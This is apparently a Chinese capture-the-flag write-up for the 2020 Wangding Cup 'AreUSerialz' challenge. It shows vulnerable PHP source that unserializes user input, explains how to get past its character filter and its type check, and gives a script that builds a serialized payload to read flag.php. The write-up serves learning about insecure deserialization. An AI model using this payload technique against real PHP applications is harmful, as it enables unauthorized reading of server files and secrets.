[网鼎杯 2020 青龙组]AreUSerialz

// 源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

php7.1以上的版本对属性类型不敏感，所以可以将属性改为public，public属性序列化不会出现不可见字符，也就是绕过了is_valid()

op=1尝试写木马，无写权限，放弃

遂尝试op=2

如果op为字符串类型的2，则__destruct()会将op变成'1'，但是这儿存在强弱类型比较，op为int型即可绕过__destruct()中对op的改变进而进入read

<?php
class FileHandler {
    public $op=2;
    public $filename='flag.php';
    public $content='';
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
echo "\n\n\n";

$c = urlencode($b);
echo $c;